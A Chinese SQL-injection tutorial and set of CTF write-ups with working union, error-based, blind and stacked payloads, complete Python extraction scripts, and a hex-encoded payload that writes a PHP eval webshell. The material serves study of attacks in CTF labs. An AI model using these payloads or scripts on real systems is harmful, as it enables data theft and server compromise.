若有错误,还请斧正。
1.SQL注入
攻击者可在正常的SQL语句中注入自己的语句,使得原SQL语句改变并执行则为SQL注入.
整型注入
注入点数据类型为整型则为整型注入,如下
输入的id不同,会从数据库中取出不同的结果。我们输入的id被直接拼接进sql语句中执行,这就使得我们可以直接接管sql。通过在id处注入sql语句来获取各种信息.
在这里我们可以构造联合查询payload来获取信息,首先需要判断查询语句的字段数
payload = 1 order by 一个数字(比如3)
,当查询字段数大于等于这个数字时页面会给出正确执行的结果。
当查询字段数小于这个数字时页面会给出错误的执行结果
轮番操作后就可以确定在此处的查询字段数为3.而后便可以通过联合查询来确定结果显示位。
对了。此时mysql执行的sql语句为select * from message where id=0 union select 1,2,3
,在id部分我们需要一个数据库中没有的数据(比如0),
确定了结果显示位为联合查询的数字3处,由此可借由mysql系统库(information_schema)来获取表,如下
payload = 0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
获取f14g
表的列信息如下
payload = 0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='f14g'
mysql的group_concat函数可以将查询结果合并为一个结果
在获取了表与列的信息和即可查询该表的具体数据
字符型注入
字符型注入与整型注入差别不大,两者最主要的差别在于字符型注入需要闭合引号.当我们注入一个引号时,mysql在执行时引号不成对,则会出错。
通过各种手段处理引号后则可以正常构造与整型注入类似的payload来获取各种信息.对于sql语句后面自带的引号可以采取注释、闭合等手段。
后面与整型相同,则不再赘述
引号处理
admin' #
admin' --+
admin' and '1
等等
报错注入
在程序不输出查询结果,但会输出mysql错误信息时则可通过报错注入来获取信息.报错注入不需要像联合注入一样获取显示位,因为错误信息所在即是显示位.
报错注入通常使用以下函数
updatexml
报错用法updatexml(1,concat(0x7e,sql语句),1)
payload = admin'and updatexml(1,concat(0x7e,database(),0x7e),1) #
extractvalue
报错用法extractvalue(1,concat(0x7e,sql语句))
payload = admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
floor
报错用法select concat(sql语句,floor(rand()*2)),count(*) from table_name group by 1
,概率报错
或select 123 from (select concat(sql语句,floor(rand()*2))as x,count(*) from table_name group by x)a
rand函数可在0-1之间生成一个随机数,而floor则是获得小于等于传入值的整数
当我们使用rand()*2时则可以获得一个0-2之间的随机数,倘若这时使用floor则可以获得一个0或者1
mysql可以使用group by 对结果进行分组,将结果相同的划为一组,count(*)可以统计结果数量
payload = admin' and (select 123 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand()*2))as x,count(*) from information_schema.tables group by x)a) --+
盲注
注入结果无任何回显即是盲注
布尔盲注
根据注入执行结果的布尔值(true,或false),页面显示不同,由此作为判断注入结果的依据即是布尔盲注
我们可以通过构造sql语句来逐步判断后端的结果,如下
当页面显示wow时,就说明database第一个字符为s,由此,进一步注入判断出当前数据库全名为sqli.
为提高注入效率,可编写脚本如下(已注释掉highlight_file(__FILE__))
#Author: 4ut15m
import requests
url = "http://192.168.1.166/test.php?username=admin"
flag = "wow"
charset = "abcdefghijklmnopqrstuvwxyz_,{}0123456789 "
def tables():
table = "tables:"
for i in range(1,100) :
for c in charset :
payload = "'and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}".format(str(i),c)
res = requests.get(url=url+payload).text
if flag not in res :
continue
elif c == ' ' :
table += c
else :
table += c
print table
break
if table[-1] == ' ':
break
def columns(table):
column = "columns:"
for i in range(1,100) :
for c in charset :
payload = "'and substr((select group_concat(column_name) from information_schema.columns where table_name='{}'),{},1)='{}".format(table,str(i),c)
res = requests.get(url=url+payload).text
if flag not in res :
continue
elif c == ' ' :
column += c
else :
column += c
print column
break
if column[-1] == ' ' :
break
def dumps(table,column):
dump = "result:"
for i in range(1,100):
for c in charset:
payload = "'and substr((select group_concat({}) from {}),{},1)='{}".format(column,table,str(i),c)
res = requests.get(url=url+payload).text
if flag not in res :
continue
elif c == ' ' :
dump += c
else :
dump += c
print dump
break
if dump[-1] == ' ' :
break
#tables()
#column('f14g')
dumps('f14g','f14g')
该脚本相比于手工注入,效率有了很大的提升,但是该脚本的缺点还是很明显 — 因为每一个字符都要进行判断,从而导致运行速度不够快
故我们可以使用二分法编写一个脚本,如下
#Author: 4ut15m
import requests
url = "http://192.168.1.166/test.php?username=admin"
flag = 'wow'
def tables():
table = "tables:"
for i in range(1,30) :
l = 33
h = 126
while True :
m = (l+h)/2
if m == l or m == h :
table += chr(m)
print table
break
payload = "'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{} --+".format(str(i),str(m))
res = requests.get(url=url+payload).text
if flag in res :
h = m
else :
l = m
continue
def columns(table):
column = "columns:"
for i in range(1,100) :
l = 33
h = 126
while True :
m = (l+h)/2
if m ==l or m==h :
column += chr(m)
print column
break
payload = "'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='{}'),{},1))<{} --+".format(table,str(i),str(m))
res = requests.get(url=url+payload).text
if flag in res :
h = m
else :
l = m
continue
def dumps(table,column):
dump = "result:"
for i in range(1,100) :
l = 33
h = 126
while True:
m = (l+h)/2
if m == l or m == h :
dump += chr(m)
print dump
break
payload = "'and ascii(substr((select {} from {}),{},1))<{} --+".format(column,table,str(i),str(m))
res = requests.get(url=url+payload).text
if flag in res :
h = m
else :
l = m
continue
#tables()
#columns('f14g')
dumps('f14g','f14g')
延时盲注
在注入结果不会被输出,并且不管注入成功还是失败页面始终只有一个反应时,则可进行延时盲注,通过mysql执行需要一定时间的函数来作为注入正确与否的判断标准.
我的环境出了些问题,故这里用的CTFHUB->技能树->时间盲注
正常发起请求时响应时间如下,51ms
sleep配合if函数,延时payloadid=1 and if(1,sleep(1),1)
延时后的响应时间如下(依照不同环境,响应时间不同),1047ms = 1.047s
故可以在if的第一个参数处构造sql语句,再通过响应时间来判断结果是否正确
猜解表名payload1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{第几个字符},1)<{字符ascii码},sleep(1),1)
猜解列名payload“1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=’表名’),{第几个字符},1)<{字符ascii码},sleep(1),1)`
获取值 payload“1 and if(ascii(substr((select 列名 from 表名),{第几个字符},1)<{字符ascii码},sleep(1),1)`
为提高注入效率,编写脚本如下
#Author: 4ut15m
import requests
url = "http://challenge-764ecdbaa2a9f6c8.sandbox.ctfhub.com:10080/?id=1 "
def tables():
table = "tables:"
for i in range(1,30):
l = 33
h = 126
while True:
m = (l+h)/2
if m == l or m == h:
table += chr(m)
print table
break
payload = "and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.2),0) --+".format(str(i),str(m))
try :
res = requests.get(url+payload, timeout=0.2).text
except requests.exceptions.ReadTimeout:
h = m
else:
l = m
continue
def columns(table):
column = "columns:"
for i in range(1,30):
l = 33
h = 126
while True:
m = (l+h)/2
if m == l or m == h:
column += chr(m)
print column
break
payload = "and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='{}'),{},1))<{},sleep(0.2),0) --+".format(table,str(i),str(m))
try :
res = requests.get(url+payload, timeout=0.2).text
except requests.exceptions.ReadTimeout:
h = m
else:
l = m
continue
def dumps(table, column):
dump = "result:"
for i in range(1,100):
l = 33
h = 126
while True:
m = (l+h)/2
if m == l or m == h:
dump += chr(m)
print dump
break
payload = "and if(ascii(substr((select {} from {}),{},1))<{},sleep(0.2),0) --+".format(column, table, str(i), str(m))
try :
res = requests.get(url+payload, timeout=0.2).text
except requests.exceptions.ReadTimeout:
h = m
else:
l = m
continue
#tables()
#columns('flag')
dumps('flag', 'flag')
延时盲注流程大抵如此,再罗列一些延时注入的函数如下
benchmark(count,expr),执行expr语句count次
只要count次数够大,就可以达到延时的效果
get_lock(str,timeout)
若在一个会话中锁定了str,那么在其他会话中再想锁定该str时会进行延时
rlick
expr rlike pat
regexp_like的同义词,使expr与正则表达式pat进行匹配,若匹配则返回1,不匹配则返回0
笛卡尔乘积查询
一个set X内有a个对象,另一个set Y内有b个对象,X*Y=a*b
通过构造笛卡尔乘积查询,使mysql执行很多查询,达到延时效果
参考文章离怀秋
堆叠注入
通过分号(;)来结束一条语句并同时执行其他sql语句即是堆叠注入.
可以通过mysql预编译语句来执行查询语句
下面给一实例
强网杯2019 随便注
构造堆叠注入payload
查询数据库信息1';show databases;
查询数据库表信息1';show tables from supersqli;
也可1';set @a=0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;prepare b from @a;execute b;
大小写绕过限制
1';Set @a=0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;Prepare b from @a;execute b;
再构造
1';show columns from `1919810931114514`;
纯数字表名,需要用反引号包裹
也可
1';Set @a=0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d273139313938313039333131313435313427;Prepare b from @a;execute b;
最后构造
1';Set @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;Prepare b from @a;execute b;
参考文章backlion
二次注入
在一个输入点将用户输入的含有特殊字符的字符串存入数据库,在某一个输出点将存入的字符串取出时未进行转义便拼接进另一处sql语句,所导致的sql注入即是二次注入.如下
实例
网鼎杯2018 Unfinish
只有一个登录、注册功能,成功登录后便进入主页!
尝试注册稀奇古怪的用户名
注册admin'
没有成功,尝试闭合单引号
注册成功,登录查看.确定是sql注入
在本地测试后发现我们注入在insert中的语句可构成布尔型结果,故可进行布尔盲注
fuzz一下哪些字符被过滤,哪怕bp设置1线程,也会被buuctf的限制请求干扰到,所以写脚本
#Author: 4ut15m
import requests
import time
url = "http://b0f328cb-1677-4a21-8261-e8b465fed7a9.node3.buuoj.cn/register.php"
def fuzz(dic):
post = {"email" : "[email protected]",
"username" : dic,
"password" : "admin"
}
res = requests.post(url, data=post).text
if "nnnnoooo!!!" in res:
print dic
with open('/usr/share/wordlist/sql.txt') as f:
while True:
dic = f.readline()
if dic == '':
break
else :
fuzz(dic.strip())
time.sleep(0.2)
information被过滤了我们无法获取到表名等信息(sys数据库不一定存在),这里猜表名为flag,直接select * from flag
因为并不能确定列名(先测试了select flag from flag ,会出错)
先来确定我们的布尔盲注
没问题,写脚本
#Author: 4ut15m
import requests
import time
flag = """<span class="user-name">
1 </span>"""
def dumps():
url = "http://b0f328cb-1677-4a21-8261-e8b465fed7a9.node3.buuoj.cn/register.php"
login_url = "http://b0f328cb-1677-4a21-8261-e8b465fed7a9.node3.buuoj.cn/login.php"
dump = ""
c = 1
for i in range(1,200):
l = 33
h = 126
while True:
m = (l+h)/2
if m == l or m == h:
dump += chr(m)
print dump
break
payload = "admin'or (ascii(substr((select * from flag)from {} for 1)))<{} and '1".format(str(i),str(m))
email = "4ut15m{}@admin.com".format(str(c))
post = {"email" : email,
"username" : payload,
"password" : "admin"
}
res = requests.post(url,data=post,allow_redirects=False)
if res.status_code == 302:
post = {"email" : email,
"password" : "admin"
}
time.sleep(0.1)
res = requests.post(login_url,data=post)
res.encoding = "utf-8"
if flag in res.text:
h = m
else :
l = m
time.sleep(0.1)
c += 1
continue
dumps()
2.题
CTFHUB
2017-赛客夏令营-Web injection
整型注入
判断列数1 order by 2
,1order by 3
获取回显位0 union select 1,2
表名0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
字段名0 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
爆值0 union select 1,flag from flag
BUUCTF
WUSTCTF2020 颜值成绩查询
经过一番测试发现,stunum为数字布尔注入.
经fuzz,发现select被过滤,但可大写select绕过
0^(ascii(substr((Select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),1,1))>1)
0^(ascii(substr((Select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),1,1))<1)
故编写脚本如下
#Author: 4ut15m
import requests
import time
url = "http://3926d327-7eaf-4dc6-8f15-6be392a5ea4d.node3.buuoj.cn/?stunum="
flag = "Hi admin, your score is: 100"
def tables():
table = "tables:"
for i in range(1,100):
l = 33
h = 126
while True:
m = (l+h)/2
if m == l or m == h:
table += chr(m)
print table
break
payload = "0^(ascii(substr((Select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))<{})".format(str(i),str(m))
res = requests.get(url+payload).text
time.sleep(0.5)
if flag in res :
h = m
else :
l = m
continue
def columns(table):
column = "columns:"
for i in range(1,100):
l = 33
h = 126
while True:
m = (l+h)/2
if m == l or m == h:
column += chr(m)
print column
break
payload = "0^(ascii(substr((Select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='{}'),{},1))<{})".format(table,str(i),str(m))
res = requests.get(url+payload).text
time.sleep(0.5)
if flag in res :
h = m
else :
l = m
continue
def dumps(table, column):
dump = "result:"
for i in range(1,100):
l = 33
h = 126
while True:
m = (l+h)/2
if m == l or m == h:
dump += chr(m)
print dump
break
payload = "0^(ascii(substr((Select/**/{}/**/from/**/{}),{},1))<{})".format(column,table,str(i),str(m))
res = requests.get(url+payload).text
time.sleep(0.5)
if flag in res :
h = m
else :
l = m
#tables()
#columns('flag')
dumps('flag','value')
BJDCTF 2nd 简单注入
访问robots.txt发现提示文件hint.txt
fuzz过后发现过滤了以下关键字
单、双引号皆被过滤。要想注入语句首先需要逃逸单引号,这里很简单提交username=\
即可将sql语句自带的一个单引号转义,进而逃逸出一个引号.而后在password处构造语句来注入数据
select * from users where username='\' and password='$_POST["password"]'
and被过滤,但是or可用,通过or + 异或操作使执行结果出现不同布尔值,发现页面响应信息不同.
测试payloadusername=\&password=or/**/0^(ascii(substr(username,1,1))<1)#
与username=\&password=or/**/0^(ascii(substr(username,1,1))>1)#
故编写脚本如下
#Author: 4ut15m
import requests
import time
url = "http://9514a6bc-53b1-4a55-a1e2-aaf9cbe88778.node3.buuoj.cn/index.php"
flag = "BJD needs to be stronger"
def getuser():
username = ""
for i in range(1,100):
l = 33
h = 126
while True:
m = (l+h)/2
if m == l or m == h :
username += chr(m)
print username
break
payload = "or/**/0^(ascii(substr(username,{},1))<{})#".format(str(i),str(m))
post = {'username' : '\\',
'password' : payload
}
res = requests.post(url,data=post).text
time.sleep(0.5)
if flag in res :
h = m
else :
l = m
continue
def getpass():
passwd = ""
for i in range(1,100):
l = 33
h = 126
while True:
m = (l+h)/2
if m == l or m == h :
passwd += chr(m)
print passwd
break
payload = "or/**/0^(ascii(substr(password,{},1))<{})#".format(str(i),str(m))
post = {'username' : '\\',
'password' : payload
}
res = requests.post(url,data=post).text
time.sleep(0.5)
if flag in res :
h = m
else :
l = m
continue
#getuser()
getpass()
SUCTF 2018 MultiSQL
正常注册后登录
编辑头像处,可以上传图片
用户信息与注册处存在sql注入.前者为堆叠注入、后者为二次注入。这里使用堆叠注入写入webshell
payloadid=2;set/**/@a=0x73656c65637420223c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e2220696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f7368656c6c2e70687027;prepare/**/b/**/from/**/@a;execute/**/b;
CISCN2019 day2 easyweb
在robots.txt中发现备份文件.下载
//image.php
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
首先需要思考单引号的闭合问题。
因为addslashes的存在无法直接使用引号闭合,也无法使用\
来逃逸单引号。但是代码11-12行对传入数据的替空处理可做利用。
构造一个\0
即可逃逸单引号。(\0
经过addslashes处理变成\\0
,再经过str_replace的处理,将\0
替换为空,则得到一个\
)
故,可构造payload,根据页面响应内容进行布尔判断.
二分脚本
#-*- coding:utf-8 -*-
#Author: 4ut15m
#考点: addslashes+str_replace的单引号逃逸
import requests
import urllib
import time
url = "http://b3f400c8-fa7d-4375-9716-f007bf7a7f42.node3.buuoj.cn/image.php?id=1\\0&path="
def urlencode(string):
return urllib.quote(string)
def tables():
table = "tables:"
for i in range(1,100):
l = 33
h = 126
while True :
m = (l+h)/2
if m == l or m == h :
table += chr(m)
print table
break
payload = urlencode("and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{} #".format(str(i),str(m)))
res = requests.get(url+payload).text
time.sleep(0.2)
if len(res) > 0:
h = m
else :
l = m
continue
def columns(table):
column = "columns:"
for i in range(1,100):
l = 33
h = 126
while True :
m = (l+h)/2
if m == l or m == h :
column += chr(m)
print column
break
payload = urlencode("and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name={}),{},1))<{} #".format(table,str(i),str(m)))
res = requests.get(url+payload).text
time.sleep(0.2)
if len(res) > 0:
h = m
else :
l = m
continue
def dumps(table, column):
dump = "result:"
for i in range(1,100):
l = 33
h = 126
while True :
m = (l+h)/2
if m == l or m ==h :
dump += chr(m)
print dump
break
payload = urlencode("and ascii(substr((select group_concat({}) from {}),{},1))<{} #".format(column,table,str(i),str(m)))
res = requests.get(url+payload).text
if len(res) > 0 :
h = m
else :
l = m
continue
#tables()
#columns('0x7573657273')
dumps('users','username,0x7e,password')
登录
上传常规shell,后缀不能为php,使用phtml绕过
查看该文件,是用户的上传记录,记录了上传的文件名
考虑修改文件名为shell,因为文件名会检测关键字php,所以使用php短标签
再访问日志文件
RCTF2015 EasySQL
程序只有几个功能:注册、登录、修改密码、查看文章
在注册时发现有过滤一些敏感词,fuzz如下
测试后发现注册点username处存在二次注入
过滤了and(忽略大小写)但没过滤&&
,尝试进行报错注入
admin4"&&updatexml(1,concat(0x7e,database()),1)#
admin4"&&updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#
admin4"&&updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)#
admin4"&&updatexml(1,concat(0x7e,(select(flag)from(flag))),1)#, flag not here
老折磨怪了
admin4"%26%26updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1)#
通过这几次的结果可以看出,输出结果有长度限制,但是这不妨碍我们猜到字段为real_flag_1s_here
常用的字符截取函数都被过滤了
left
right
substr
substring
长度690,真flag藏在里面,可以
先尝试将所有结果翻转,可以看到是flag的一部分
admin4"&&updatexml(1,concat(0x7e,(select(reverse(group_concat(real_flag_1s_here)))from(users))),1)#
需要想办法取剩下的一部分.这里尝试通过正则获取结果,rlike被过滤了,但是可以使用rlike的同名函数regexp
admin4"&&updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^flag'))),1)#
两者组合
给个半自动脚本
#Author: 4ut15m
import requests
import sys
s = requests.session()
def rushB(payload):
register_url = "http://7561369f-e046-47fc-9460-2e8efb33bd91.node3.buuoj.cn/register.php"
login_url = "http://7561369f-e046-47fc-9460-2e8efb33bd91.node3.buuoj.cn/login.php"
changepwd_url = "http://7561369f-e046-47fc-9460-2e8efb33bd91.node3.buuoj.cn/changepwd.php"
regist = {"username" : payload,
"password" : "4ut15m",
"email" : "4ut15m"
}
requests.post(url=register_url, data=regist)
login = {"username" : payload,
"password" : "4ut15m"
}
s.post(url=login_url, data=login)
changepwd = {"oldpass" : "",
"newpass" : ""
}
res = s.post(url=changepwd_url, data=changepwd).text
print res
rushB(sys.argv[1])
# payload1 = "admin4\"&&updatexml(1,concat(0x7e,(select(reverse(group_concat(real_flag_1s_here)))from(users))),1)#"
# payload2 = "admin4\"&&updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^flag'))),1)#"
# python exp.py payload1/payload2
NCTF2019 SQLi
给了sql语句
hint
拿到密码即可getflag,ban了很多字符,截取字符的函数substr不能用,需要()的函数也都不能用
但是这里可以使用正则匹配来曲线救国
首先,使username=\
来逃逸引号,而后构造payload使得结果为true和false查看页面不同
username=\&passwd=||/**/0;%00
,这里的%00并非真实的%00而是ascii码为0的字符,用该字符截断sql语句后面的引号(注释符被过滤)
当查询语句为真时,页面会进行重定向
可以将状态码作为判断正确与否的标准
故编写脚本如下
#Author: 4ut15m
import requests
import time
url = "http://654b7541-15d5-422a-8a66-43aa2b6c5d0c.node3.buuoj.cn/index.php"
charset = "abcdefghijklmnopqrstuvwxyz_0123456789-"
def dump():
passwd = ""
while True:
for c in charset :
payload = '||/**/passwd/**/regexp/**/"^{}";{}'.format(passwd+c,chr(0))
post = {"username" : "\\",
"passwd" : payload
}
res = requests.post(url, data=post, allow_redirects=False)
time.sleep(0.1)
if res.status_code == 302 :
passwd += c
print passwd
break
dump()
CISCN2019 华北赛区 Day1 Web5 CyberPunk
读取源码
//index.php
<?php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" />
<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">
</head>
<body>
<div id="h">
<div class="container">
<h2>2077发售了,不来份实体典藏版吗?</h2>
<img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<h3>提交订单</h3>
<form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>地址:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<button class='btn btn-lg btn-sub btn-white' type="submit">我正是送钱之人</button>
</form>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<h2 class="mb">订单管理</h2>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->
//confirm.php
<?php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>确认订单</title>
<base href="./">
<meta charset="utf-8"/>
<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">
</head>
<body>
<div id="h">
<div class="container">
<img class="logo" src="./assets/img/logo-zh.png">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
<a href="./index.php">
<button class='btn btn-lg btn-sub btn-white'>返回</button>
</a>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订单管理</h2>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
//config.php
<?php
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
$DATABASE = array(
"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);
$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
//search.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>搜索</title>
<base href="./">
<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">
</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>订单查询</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">查询订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
//delete.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>删除订单</title>
<base href="./">
<meta charset="utf-8" />
<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">
</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>删除订单</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">删除订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
</div>
</div>
</div>
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
